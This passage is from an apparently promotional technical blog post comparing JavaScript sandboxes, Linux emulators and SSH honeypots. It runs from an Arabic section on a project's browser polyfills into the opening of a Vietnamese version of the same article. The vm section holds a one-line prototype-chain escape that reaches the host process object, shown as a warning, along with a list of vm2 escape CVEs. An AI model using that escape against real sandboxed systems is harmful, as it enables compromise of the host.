    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

لا Wasm. لا مكتبة polyfills خارجية. لا أشياء webpack-node-externals. مجرد وحدات alias وبعض العناصر العامة المحقونة. دعني أفصل كلًا منها لأن بعضها مثير للإعجاب حقًا.

node:fs -- IndexedDB كنظام ملفات زائف

هذا هو المفضل لدي. polyfill node:fs ينفذ API Node.js fs المتزامن (readFileSync، writeFileSync، existsSync، readdirSync، mkdirSync، unlinkSync، statSync...) مدعومًا بطبقتين: Map في الذاكرة للقراءات المتزامنة، و IndexedDB للاستمرارية بين إعادة تحميل الصفحة. الكتابات تذهب إلى Map فورًا (لذا readFileSync بعد writeFileSync مباشرة يعمل دائمًا)، ثم تُمسح إلى IndexedDB بشكل غير متزامن في الخلفية.

// ذاكرة تخزين مؤقت متزامنة (مسار → Uint8Array | null) -- قراءات فورية
const memCache = new Map();

// تحميل مسبق لكل شيء من IndexedDB إلى memCache عند بدء التشغيل
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

هذا هو السبب في أن لقطة VFS تنجو من إعادة تحميل الصفحة في المتصفح -- ملف .vfsb الثنائي بأكمله يُكتب إلى IndexedDB عبر هذا polyfill، ويُقرأ عند التحميل التالي. لا Wasm. لا خادم. مجرد IndexedDB، الموجود في كل المتصفحات منذ حوالي 2011.

node:crypto -- SHA-256 في JS نقي

بدلاً من استيراد مكتبة تشفير Wasm، polyfill التشفير ينفذ SHA-256 من الصفر باستخدام ثوابت الجولة FIPS 180-4. 166 سطرًا من JS النقي مع دعم كامل لإخراج hex/base64/Uint8Array. كل التجزئة في المكتبة تمر عبر هذا -- بصمة مفاتيح SSH المضيفة، والمجاميع الاختبارية الداخلية، كل شيء. مضغوط، لا تبعيات، يعمل.

node:os -- يقرأ الأجهزة الحقيقية للمتصفح

هذه لمسة جميلة. بدلاً من إرجاع قيم وهمية مشفرة، node:os يقرأ navigator.deviceMemory للـ RAM الإجمالية و navigator.hardwareConcurrency لعدد CPU. لذا neofetch في بناء المتصفح يبلغ في الواقع عن شيء يتوافق مع جهازك الحقيقي -- ليس stub وهمي 2 نواة، 2 غيغابايت RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 غيغابايت افتراضيًا
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // يحلل أيضًا navigator.userAgent لتخمين سلسلة نموذج CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net، ssh2، roxify -- stubs صريحة

المتصفح لا يمكنه فتح مآخذ TCP أو تشغيل SSH حقيقي، لذا هذه stubs ترمي خطأ NotImplemented مع رسالة واضحة إذا حاول شيء استخدامها. لا فشل صامت، لا undefined يُعاد حيث يتوقع كائن. مجرد رسالة قوية وواضحة "هذا لا يعمل في المتصفح" -- وهو بالضبط ما تريده.

process.js و buffer.js -- عناصر عامة محقونة

هذان الملفان يُحقنان في أعلى كل ملف في الحزمة عبر خيار inject في esbuild، لذا process و Buffer متاحان عالميًا دون أي import صريح. process.js صغير جدًا: env، version، platform: 'browser'، nextTick عبر queueMicrotask، uptime عبر performance.now(). buffer.js هو إعادة تطبيق كامل لـ Buffer فوق Uint8Array -- كل دوال readUInt32BE، writeInt16LE، ترميزات hex/base64 التي يعتمد عليها تطبيق SSH و VFS.


مجموعة polyfills بأكملها تبلغ حوالي 640 سطرًا من JS مكتوب يدويًا في المجموع. لا حزم npm. لا Wasm. والنتيجة هي حزمة متصفح هي فقط المكتبة، تعمل بشكل أصلي، دون أي من القلق المعتاد "لكن هل يعمل حقًا في المتصفح؟" الذي لديك مع المكتبات المصممة لـ Node أولاً. الأمر يستحق إلقاء نظرة على مجلد polyfills/ في المستودع إذا كنت فضوليًا -- كل ملف محتوى جيد وقابل للقراءة بمفرده، وهو خيار أسلوبي أقدره كثيرًا.

| | vm | isolated-vm | quickjs-emscripten | v86 | CheerpX | WebContainers | Cowrie | typescript-virtual-container | |---|---|---|---|---|---|---|---|---|---| | الفئة | صندوق رمل JS | صندوق رمل JS | صندوق رمل JS | محاكي | محاكي | Node.js/Wasm | مصيدة تفاعل | مقلد | | يعزل JS | ⚠️ نطاق | ✅ V8 Isolate | ✅ Wasm | غير متاح | غير متاح | جزئي | غير متاح | ✅ Worker | | نواة Linux حقيقية | ❌ | ❌ | ❌ | ✅ | ✅ | ❌ | ❌ | ❌ | | مفسر شل | ❌ | ❌ | ❌ | ✅ (حقيقي) | ✅ (حقيقي) | ✅ (حقيقي) | جزئي | ✅ (مخصص) | | ~170 أمر Unix | ❌ | ❌ | ❌ | ✅ | ✅ | جزئي | ~20 | ✅ | | صلاحيات POSIX | ❌ | ❌ | ❌ | ✅ | ✅ | ✅ | جزئي | ✅ مطبقة | | إدارة المستخدمين | ❌ | ❌ | ❌ | ✅ | ✅ | ❌ | ضئيل | ✅ كاملة | | خادم SSH حقيقي | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | ✅ | | SFTP / SCP | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | | مصيدة تفاعل/تدقيق | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | ✅ | | فرق/لقطة VFS | ❌ | ❌ | ❌ | محدود | ❌ | ❌ | ❌ | ✅ | | شبكة افتراضية L2/L3 | ❌ | ❌ | ❌ | أساسي | ❌ | ❌ | ❌ | ✅ كامل | | VPN افتراضي | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | | دعم المتصفح | ❌ | ❌ | ✅ | ✅ | ✅ | ✅ | ❌ | ✅ | | Node.js أصلي | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | ❌ | ✅ | | API مقيدة | أساسي | ✅ | ✅ | ضئيل | ❌ | ✅ | ❌ | ✅ كاملة | | توافق ثنائي | غير متاح | غير متاح | غير متاح | ✅ | ✅ | جزئي | غير متاح | ❌ | | وقت الإقلاع | فوري | فوري | فوري | 15-40 ث | 15-40 ث | 2-5 ث | فوري | <1 ث | | RAM/instance | ~1 ميغابايت | ~3-10 ميغابايت | ~5-15 ميغابايت | 150-256 ميغابايت | 200+ ميغابايت | ~100 ميغابايت | ~50 ميغابايت | ~5-20 ميغابايت | | تبعيات وقت التشغيل | 0 | 1 (أصلي) | 1 (Wasm) | 0 | خاص | 1 | تبعيات Python | 3 (ssh2, ws, fflate) | | الحالة | مستقر | ✅ نشط | ✅ نشط | ✅ نشط جدًا | تجاري | ✅ نشط | ✅ نشط | ✅ نشط |


متى تستخدم ماذا

تحتاج لتشغيل JavaScript غير موثوق -- صيغة مقدمة من مستخدم، إضافة، hook برمجي.
→ isolated-vm. V8 Isolate حقيقي، حدود ذاكرة صارمة، جسر اتصال صريح. تجنب vm2 -- قائمة CVE تستمر في التمدد، بجدية إنها مثل جديدة كل بضعة أشهر. تجنب vm -- إنه ليس صندوق رمل على الإطلاق، أرجوك.

تحتاج لعزل JS ولا تريد إضافة أصلية، أو تحتاج توافق المتصفح.
→ quickjs-emscripten. حدود Wasm، وحدة حوالي 500 كيلوبايت، يعمل في المتصفحات و Node. أبطأ من V8 لكنه معزول حقًا.

تحتاج لتشغيل OS Linux حقيقي غير معدل مع توافق ثنائي.
→ v86 لـ Linux 32-bit، أو container2wasm إذا كانت لديك صورة Docker موجودة. تقبل 150 ميغابايت+ من RAM و 30 ثانية إقلاع، هذه هي الصفقة. إذا كنت بحاجة إلى 64-bit، انظر إلى CheerpX أو استخدم فقط بيئة حاويات حقيقية.

تحتاج لدمج طرفية تشبه Linux في تطبيق ويب دون خلفية.
→ v86 (OS كامل، ثقيل، بطيء الإقلاع) أو حزمة المتصفح لـ typescript-virtual-container (مقلد، أخف، إقلاع فوري، يتضمن startxfce4 لسطح مكتب كامل وهو أمر رائع حقًا).

تحتاج لدروس برمجة تفاعلية عبر الإنترنت أو IDE متصفح.
→ WebContainers إذا كنت مركزًا على نظام Node.js البيئي. CheerpX إذا كنت بحاجة إلى userspace Linux حقيقي. حزمة المتصفح لـ typescript-virtual-container إذا كنت تريد خيارًا أخف مع API مقيدة.

تريد جمع TTPs لمهاجمي SSH على نطاق واسع.
→ Cowrie هو المعيار الإنتاجي، نقطة. يعمل على أي خادم Linux، يتكامل مع كل SIEM، لديه وضع LLM الآن. استخدم Cowrie فقط.

تريد بيانات مصيدة تفاعل SSH في تطبيق Node.js مع API قابل للبرمجة.
→ typescript-virtual-container. الأوامر تُنفذ فعليًا. VFS هو بنية بيانات حقيقية يمكنك التقاطها وفرقها فورًا. المهاجم يحصل على بيئة تفاعلية مقنعة، وتحصل على بيانات تدقيق منظمة دون مغادرة Node.

تحتاج أتمتة شل / اختبارات في CI دون Docker.
→ typescript-virtual-container. يقلع في أقل من ثانية، لقطة قبل اختبار، استعادة بعده. ينفذ أوامر شل مع API مقيدة. لا daemon Docker، لا نواة، لا VM، لا انتظار.

تحتاج بيئات شل متعددة المستأجرين (SaaS، تعليم، تدريب).
→ typescript-virtual-container. 5-20 ميغابايت لكل instance مقابل 150-256 ميغابايت لمحاكي. 100 مستخدم متزامن: ~2 غيغابايت مقابل ~25 غيغابايت. هذا فرق كبير في تكاليف الاستضافة!

تحتاج مصيدة تفاعل واقعية تسمح لك أيضًا ببناء مختبر شبكة متعدد VM.
→ typescript-virtual-container هو الشيء الوحيد في هذا المجال الذي يفعل كليهما.


ما لا يمكنه فعله (وأريد أن أكون صادقًا حيال ذلك)

لا يمكنه تشغيل برامج x86 أصلية. إذا كنت بحاجة لتجميع كود C، أو تشغيل مفسر Python حقيقي، أو استخدام برنامج مُجمّع لـ Linux، لا يوجد ABI نواة لدعم استدعاءات النظام هذه. أوامر مثل gcc، python3، و node هي stubs -- تستجيب لـ --version والاستدعاءات الشائعة، لكنها لا تنفذ أي شيء حقيقي.

هذه هي المفاضلة الأساسية: تكسب 10 إلى 50 مرة أقل من الذاكرة، إقلاع فوري، توافق المتصفح، API مقيدة، SSH حقيقي، وشبكة افتراضية -- وتتخلى عن التوافق الثنائي مع userspace Linux.

Fortune فكرت كثيرًا في هذا عند تصميم المشروع. لحالات الاستخدام التي كانت تستهدفها -- مصائد التفاعل، الاختبارات، الطرفيات المدمجة، بيئات CI -- تشغيل برنامج مُجمّع ليس ضروريًا أبدًا في الواقع. خطوط أنابيب الشل، معالجة الملفات، توجيه الشبكة و SSH تغطي كل شيء. لكن إذا كانت حالة الاستخدام الخاصة بك تتطلب برنامجًا مُجمّعًا حقيقيًا، فإن v86 أو Docker هو الإجابة الصحيحة، وليس هذا.


للختام

ها نحن ذا. هذا النظام البيئي أوسع وأكثر تجزؤًا مما يبدو من الخارج. vm هو فاصل نطاق، ليس صندوق رمل. vm2 يستمر في تجميع CVE (بجدية، انظر إلى إعلانات هذا الشهر). isolated-vm هو الإجابة الصحيحة لعزل JS لكن JS فقط. quickjs-emscripten هو الخيار الصحيح عندما تحتاج توافق المتصفح أو تريد تجنب الإضافات الأصلية. v86 و CheerpX هما محاكيان حقيقيان عندما تحتاج توافقًا ثنائيًا حقيقيًا. WebContainers هو Node.js في Wasm، وليس بيئة Linux عامة. Cowrie هو المعيار الذهبي لمصائد تفاعل SSH، لكنه Python وليس Node أصلي.

ثم هناك typescript-virtual-container -- مشروع Fortune -- الذي يعيش نوعًا ما في فئته الخاصة. ليس محاكيًا، ليس صندوق رمل JS، ليس مصيدة تفاعل سلبية. شيء بين الجميع أثبت فائدته بشكل مدهش للعديد من الأشياء التي لا يمكن لأي من الآخرين فعلها.

typescript-virtual-container يسد الفجوة التي لا يمسها أي من الآخرين: بيئة شل Linux كاملة وقابلة للبرمجة مع SSH حقيقي، SFTP، صلاحيات POSIX، إدارة المستخدمين، شبكة افتراضية، وAPI TypeScript مقيدة -- تعمل في حوالي 10 ميغابايت، تقلع في أقل من ثانية، تعمل في كل من Node.js والمتصفح.

إذا كنت تريد تجربته: الكود المصدري على github.com/itsrealfortune/typescript-virtual-container وهناك تجربة عبر الإنترنت (تتضمن startxfce4 لسطح مكتب كامل، وهو أمر مريض بصراحة) على itsrealfortune.fr/typescript-virtual-container/demo. اذهب وألق نظرة واترك بعض النجوم لـ Fortune على GitHub، إنها تستحقها!

شكرًا للقراءة -- هذا كان طويلاً حتى بمعاييري :) أتمنى أن يكون مفيدًا لك!


المصادر

حاولت ربط كل ادعاء بمصدر أساسي -- إعلانات CVE، وثائق رسمية، مستودعات GitHub، مقالات مدونة من الصيانة. بعض الملاحظات: قائمة CVE لـ vm2 تستمر في النمو لذا رابط FortiGuard قد يكون قديمًا بحلول وقت قراءتك (انظر إلى صفحة إعلانات GitHub للأحدث). روابط Bellard كلها مستقرة -- موقعه الشخصي موجود منذ الأبد والمحتوى لا يتغير. وإذا كنت تريد التعمق في أي من الـ polyfills، فقط تصفح مجلد polyfills/ في مستودع typescript-virtual-container مباشرة -- إنه أكثر قابلية للقراءة من أي وصف يمكنني كتابته هنا.

صناديق رمل JavaScript

محاكيات Linux

حزمة الطرفية

مصائد التفاعل

typescript-virtual-container

قراءات إضافية

So sánh các giải pháp JavaScript cho mô phỏng nhân Linux

Một phân tích chuyên sâu về các bản tái hiện môi trường Linux

Mọi sandbox JavaScript, trình giả lập, trình mô phỏng và honeypot Linux -- được so sánh

Được rồi, tôi đã đi quá sâu vào cái hố thỏ này từ lâu rồi lol. Mọi chuyện bắt đầu vì tôi đang giúp trên typescript-virtual-container -- một dự án của Fortune (tôi sẽ nói về nó ngay) -- và mọi người cứ hỏi tôi "khoan đã, nó khác gì với v86?" hay "sao không dùng vm2?" -- và tôi nhận ra mình không thể trả lời rõ ràng nếu chưa lập bản đồ toàn bộ hệ sinh thái trước. Thế nên, đây rồi, chắc là vậy xD

Hóa ra có bốn họ riêng biệt -- sandbox JS, trình giả lập Linux, trình mô phỏng Linux, và honeypot -- và chúng hầu như không bao giờ chồng lấn, dù chúng ta liên tục nhắc đến chúng trong cùng một câu. Ai đó xây dựng hệ thống plugin thì dùng isolated-vm. Ai đó làm demo công cụ CLI thì dùng v86. Ai đó làm tình báo mối đe dọa SSH thì dùng Cowrie. Chúng giải quyết những vấn đề hoàn toàn khác nhau dưới cùng một cái ô mơ hồ "chạy code trong một cái hộp."

Tôi đã dành rất nhiều thời gian để đọc mã nguồn, báo cáo CVE, tài liệu kiến trúc và trang npm để viết bài này. Nó sẽ dài -- hãy pha một tách cà phê, nghiêm túc đấy. Hoặc hai.

Disclaimer nhỏ: typescript-virtual-container được đề cao trong bài này vì nó là thứ đã châm ngòi cho nghiên cứu này. Tôi đã cố gắng công bằng với mọi thứ khác, nhưng hãy ghi nhớ bối cảnh này.


Phần 0 -- Trước hết, bạn thực sự đang giải quyết vấn đề gì?

Trước khi đi sâu, cần phải chính xác về công dụng của từng họ, bởi vì thuật ngữ rất nhanh chóng trở nên lộn xộn và mọi người liên tục nhầm lẫn mọi thứ (kể cả tôi, trước khi tôi ngồi xuống và lập bản đồ mọi thứ một cách gọn gàng).

Sandbox JS cô lập mã JavaScript khỏi tiến trình Node.js chủ. Mô hình mối đe dọa là: mã JS không đáng tin cậy có thể gọi process.exit(), đọc file, hoặc khởi chạy tiến trình con. Giải pháp là một ranh giới xung quanh thực thi V8. Những công cụ này không có khái niệm về shell Linux, hệ thống file với quyền hạn, hay SSH.

Trình giả lập Linux chạy một nhân Linux thực, chưa sửa đổi trong một trình giả lập CPU (x86, RISC-V, OR1K) được triển khai bằng JavaScript hoặc WebAssembly. Bạn khởi động một hệ điều hành thực. Bạn có lời gọi hệ thống thực. Bạn có tương thích nhị phân với các chương trình biên dịch cho x86. Chi phí tài nguyên là rất lớn.

Trình mô phỏng Linux bắt chước hành vi của một hệ thống Linux mà không chạy nhân thực. Chúng triển khai một trình thông dịch shell, một hệ thống file ảo, và đủ ngữ nghĩa Unix để đánh lừa chương trình và con người. Không có nhân. Không có Wasm. Không có giả lập CPU. Tốn ít tài nguyên hơn nhiều.

Honeypot được thiết kế để thu hút kẻ tấn công và ghi lại những gì chúng làm. Chúng không phải chủ yếu là môi trường thực thi -- chúng là công cụ quan sát. Độ trung thực với hành vi thực của Linux chỉ quan trọng ở mức nó ngăn kẻ tấn công phát hiện ra cái bẫy.

Với khuôn khổ này, đây là vị trí của từng dự án trong bài viết:

JS sandbox :       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Trình giả lập Linux :  v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Trình mô phỏng Linux : typescript-virtual-container (duy nhất trong không gian này)
Honeypot :         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminal :   xterm.js + node-pty (không phải bộ cô lập, nhưng có liên quan)

Phần 1 -- Các sandbox JavaScript

1.1 vm -- module gốc của Node.js (không phải như bạn nghĩ đâu)

Câu trả lời lâu đời nhất cho "chạy JS không đáng tin cậy" trong Node là module gốc vm. Nó đã tồn tại từ v0.1, nên nhiều người dùng nó đầu tiên -- và bị "cháy".

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Điều vm thực sự làm: nó tạo một context V8 mới (một tập hợp các hàm tạo gốc mới -- Object, Array, Function, v.v.) và thực thi mã bên trong, với tham chiếu chia sẻ tới những gì bạn đặt trong sandbox. Engine V8 của bạn không thay đổi. Tiến trình của bạn không thay đổi. Bộ nhớ được chia sẻ.

Lý do vm không cung cấp bất kỳ bảo mật nào: chuỗi nguyên mẫu (prototype chain) của JavaScript là một DAG kết nối mọi thứ với Object.prototype. Nếu bạn đặt một đối tượng từ thế giới chủ vào sandbox, khách có thể đi ngược chuỗi nguyên mẫu của nó và đến được các hàm tạo chủ. Từ Function, bạn có thể gọi Function("return process")() và lấy được process thật. Game over. Ngay lập tức, kiểu như vậy.

// Đoạn này chạy hoàn hảo trong vm -- bạn lấy được process thật
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Ý tôi là, chính tài liệu của Node.js nói: "Module vm không phải là cơ chế bảo mật. Đừng dùng nó để chạy mã không đáng tin cậy." Cảnh báo này đã có từ lâu. Mọi người liên tục phớt lờ nó. Tôi đã thấy ứng dụng production dùng vm như sandbox. Làm ơn đừng làm thế xD

Kết luận: một cơ chế phạm vi, không phải sandbox. Dùng nó khi bạn cần cô lập biến (template engine, tính năng kiểu eval khi bạn kiểm soát mã). Không bao giờ dùng cho đầu vào không đáng tin cậy.

Bộ nhớ: chi phí không đáng kể -- cùng heap V8 với tiến trình chủ.
Bảo mật: không có chống lại kẻ tấn công có động cơ.


1.2 vm2 -- nỗ lực của cộng đồng, và cái chết rất dài

vm2 là câu trả lời của cộng đồng cho vấn đề thoát của vm. Ý tưởng chính: bọc mọi đối tượng vượt qua ranh giới sandbox trong một Proxy chặn truy cập thuộc tính, ngăn leo chuỗi nguyên mẫu, và lọc các tham chiếu nguy hiểm. Ý tưởng thông minh về mặt lý thuyết! Không hẳn vậy trong thực tế, như chúng ta sẽ thấy.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // ném VMError, process không truy cập được

Trong nhiều năm, nó hoạt động khá tốt. Nhưng bề mặt tấn công của Proxy JavaScript là rất lớn. Mỗi tính năng ngôn ngữ JS mới -- generator, async iterator, Symbol.toPrimitive, Error.prepareStackTrace, các vị trí bên trong Promise -- đều là một vector vượt qua tiềm năng.

Dòng thời gian CVE là... một thứ gì đó. Kiểu, nhìn này:

Ngày CVE Cơ chế
Th10 2022 CVE-2022-36067 Thoát context chủ qua Error.prepareStackTrace
Th4 2023 CVE-2023-29017 Rò rỉ đối tượng chủ qua lỗi async không xử lý
Th4 2023 CVE-2023-29199 Vượt qua vệ sinh ngoại lệ qua handleException()
Th4 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Th5 2023 CVE-2023-32314 Proxy trên Error.name → Function → RCE
Th6 2023 CVE-2023-37466 Hàm async + tràn stack + Proxy.getPrototypeOf
Th7 2023 CVE-2023-37903 Worker thread + thoát qua eval

Ba CVE nghiêm trọng trong cùng một tháng (tháng 4 năm 2023). BA. TRONG MỘT THÁNG. Sau CVE-2023-37903, người bảo trì chính thức tuyên bố ngừng sử dụng thư viện với dòng: "Thư viện chứa các lỗ hổng bảo mật nghiêm trọng và không nên được sử dụng trong sản xuất."

Người bảo trì đã hồi sinh nó vào tháng 10 năm 2025 với phiên bản 3.10.0, tuyên bố đã sửa mọi thứ đã biết vào thời điểm đó. Một lỗ hổng thoát nghiêm trọng mới (CVE-2026-22709, CVSS 9.8) đã được tiết lộ vào tháng 1 năm 2026, tiếp theo là một loạt mười một lỗ hổng khác vào tháng 5 năm 2026. Mười một. Mô hình không thay đổi và thành thật mà nói tôi không nghĩ nó sẽ thay đổi.

Vấn đề cơ bản là kiến trúc -- và đó là bài học mà toàn bộ hệ sinh thái đã mất một thời gian để học. Bạn không thể xây dựng một sandbox an toàn bằng cách sử dụng cùng ngôn ngữ mà bạn đang cô lập, trên cùng engine, trong cùng tiến trình. Bề mặt thoát là toàn bộ triển khai V8 -- và V8 là vài triệu dòng C++ liên tục thay đổi. Mỗi tính năng JS mới đều có thể mở ra một con đường tấn công mới.

Kết luận: Không sử dụng cho các ứng dụng nhạy cảm về bảo mật. Ngay cả trên phiên bản mới nhất, các cách vượt qua mới vẫn được phát hiện vài tháng một lần. Chính người bảo trì đã công khai thừa nhận điều này.


1.3 isolated-vm -- cái thực sự hoạt động

isolated-vm áp dụng cách tiếp cận đúng đắn: sử dụng nguyên thủy cô lập gốc của V8, Isolate. Mỗi Isolate V8 có heap riêng, garbage collector riêng, tập hợp các nội tại riêng, và không có tham chiếu chia sẻ nào với các Isolate khác.

Đây cũng chính là ranh giới mà Chrome sử dụng giữa các tab. Đó là một rào cản bảo mật thực sự, không phải mẹo ngôn ngữ xây dựng trên Proxy.

import ivm from "isolated-vm";

// Mỗi isolate là heap V8 riêng của nó
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // giới hạn MB
const context = await isolate.createContext();
const jail = context.global;

// Truyền dữ liệu qua ranh giới yêu cầu tuần tự hóa rõ ràng
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Không thể với tới tiến trình chủ, heap chủ hoặc module chủ
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// Bạn có thể kết thúc mạnh khi hết thời gian hoặc vượt quá giới hạn bộ nhớ
isolate.dispose(); // giải phóng toàn bộ heap

Các kiểu Reference và ExternalCopy là cầu nối giao tiếp rõ ràng. Một Reference cấp cho isolate một handle có thể gọi tới một hàm chủ -- isolate có thể gọi nó nhưng không thể kiểm tra closure hay prototype của nó. Một ExternalCopy tuần tự hóa một giá trị (clone có cấu trúc) qua ranh giới heap. Mô hình cầu nối rõ ràng này không tiện lợi, nhưng chính nó làm cho sự cô lập trở nên thực sự.

Bạn có thể đặt các giới hạn tài nguyên nghiêm ngặt: bộ nhớ (isolate bị kết thúc nếu vượt quá giới hạn), timeout thời gian treo tường, và timeout CPU. Việc kết thúc là thực sự -- nó giết toàn bộ Isolate V8, không chỉ là timeout JS có thể bị vượt qua bằng while(true).

Giới hạn: chỉ JS. Bạn không thể chạy bash bên trong. Không có khái niệm về file, quyền hạn, mạng hay tiến trình. Đó chính xác là công cụ phù hợp cho JS do người dùng gửi lên (plugin, formula, hook script), và là công cụ sai cho mọi thứ khác. Tác giả của typescript-virtual-container đã đề cập rằng cô ấy đã xem xét nó ban đầu trước khi nhận ra rằng "chạy lệnh shell" và "cô lập JavaScript" là những vấn đề hoàn toàn khác nhau.

Bộ nhớ: ~3-10 MB mỗi isolate rỗng, tăng lên khi sử dụng heap.
Bảo mật: vững chắc. Ranh giới V8 Isolate là nguyên thủy cô lập thực sự.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- một engine JS riêng biệt được biên dịch sang Wasm

Một cách tiếp cận khác: thay vì cô lập trong V8, hãy chạy một engine JavaScript hoàn toàn riêng biệt được biên dịch sang WebAssembly. Chủ chạy trong V8/Node. Khách chạy trong QuickJS-trong-Wasm. Sandbox Wasm cung cấp ranh giới cô lập.

QuickJS vẫn là tác phẩm của Fabrice Bellard (cũng là người đứng sau QEMU, FFmpeg, JSLinux, TinyEMU -- người này không có thật, nghiêm túc đấy, làm sao một người có thể làm tất cả những thứ đó?). Đây là một engine JS nhỏ tuân thủ chuẩn ES2023 được viết bằng C, và khi biên dịch sang Wasm chỉ khoảng 500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // Chạy trong QuickJS, hoàn toàn tách biệt khỏi V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS là một engine JavaScript nhỏ tuân thủ ES2023 được viết bằng C. Biên dịch sang Wasm, nó khoảng 500 KB cho biến thể đồng bộ, ~1 MB cho biến thể bất đồng bộ (Asyncify). Quản lý bộ nhớ là thủ công -- mỗi giá trị bạn trích xuất từ VM phải được giải phóng rõ ràng, hơi bất tiện nhưng ngăn chặn các bất ngờ về GC xuyên ranh giới. Một sự đánh đổi thú vị!

Wrapper @sebastianwessel/quickjs thêm một API tiện dụng hơn bên trên, với hệ thống file ảo tùy chọn, hỗ trợ fetch, và các module Node.js giả lập:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Mô hình bảo mật khác với isolated-vm: mô hình bộ nhớ tuyến tính của Wasm khiến khách không thể truy cập trực tiếp các đối tượng heap V8. Bề mặt tấn công là giao diện host↔Wasm (imports/exports), không phải toàn bộ ngôn ngữ JS. Điều này thường được coi là mạnh mẽ hơn các sandbox dựa trên Proxy.

Mặt trái: QuickJS không có cùng mức độ tối ưu hóa như V8. Đối với tải CPU-bound trong JS, nó chậm hơn 5 đến 20 lần so với V8. Đối với các đoạn mã nhỏ và đánh giá không đáng tin cậy, điều này thường không quan trọng.

Bộ nhớ: ~500 KB module Wasm + heap mỗi instance.
Bảo mật: ranh giới Wasm, được coi là mạnh mẽ hơn các cách tiếp cận dựa trên Proxy.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- một runtime ưu tiên quyền hạn

Deno áp dụng một triết lý hoàn toàn khác: thay vì sandbox trong Node, hãy xây dựng một runtime mới an toàn theo mặc định. Tôi thực sự thích cách tiếp cận này -- đó là những gì Node.js đáng lẽ phải có ngay từ đầu, thành thật mà nói. Ryan Dahl (người tạo ra Node.js ban đầu) đã tạo ra Deno vì anh ấy hối tiếc về một số quyết định thiết kế của Node.js, điều này khá điên rồ khi nghĩ về nó.

Mọi khả năng nhạy cảm (đọc file, ghi file, mạng, môi trường, tiến trình con) đều yêu cầu một cờ --allow-* rõ ràng:

# Cái này chỉ có thể đọc trong /data, không gì khác
deno run --allow-read=/data script.ts

# Cái này chỉ có thể truy cập một domain duy nhất
deno run --allow-net=api.example.com script.ts

# Không có cờ = không có quyền nào
deno run untrusted.ts # không thể đọc, ghi, mạng, chạy

Mô hình quyền hạn được triển khai ở cấp Rust/OS -- không phải mẹo JS. Khi mã Deno gọi Deno.readFile(), nó đi qua một thao tác Rust kiểm tra bảng quyền trước khi chạm vào hệ thống file. Bạn không thể vượt qua nó từ JS vì lời gọi hệ thống không bao giờ xảy ra nếu quyền chưa được cấp.

Để chạy mã thực sự không đáng tin cậy, Deno Workers (Web Workers) cung cấp một isolate thứ hai trong cùng tiến trình, mỗi cái có bộ quyền riêng. Bạn có thể khởi chạy một worker với không quyền nào và giao tiếp với nó qua postMessage.

Deno 2 (phát hành tháng 10 năm 2024) đã thêm tương thích npm đầy đủ và các shim tương thích Node.js, cải thiện đáng kể việc áp dụng cho các trường hợp sử dụng phía máy chủ.

Sự đánh đổi: mô hình bảo mật của Deno rất tốt cho mã bạn có thể tin tưởng một phần. Đối với mã hoàn toàn không đáng tin cậy có thể chống đối, mô hình quyền hạn không giúp ích -- bạn cần một ranh giới Isolate (isolated-vm) hoặc một engine khác (quickjs-emscripten), bởi vì Deno vẫn sử dụng V8 và những kẻ tấn công tinh vi có thể tìm lỗi ở cấp V8.


1.6 TC39 ShadowRealm -- câu trả lời được chuẩn hóa (một ngày nào đó)

Tổ chức tiêu chuẩn hóa JavaScript (TC39) có một đề xuất gọi là ShadowRealm nhằm chuẩn hóa những gì vm và vm2 đã cố gắng làm, nhưng với một mô hình bảo mật đúng đắn. Một ShadowRealm tạo ra một context thực thi JS bị cô lập với các nội tại riêng, không có quyền truy cập vào realm bên ngoài, và một giao diện import/export được kiểm soát cẩn thận.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Các nội tại riêng biệt, không có quyền truy cập realm bên ngoài
  typeof globalThis.fetch // "undefined"
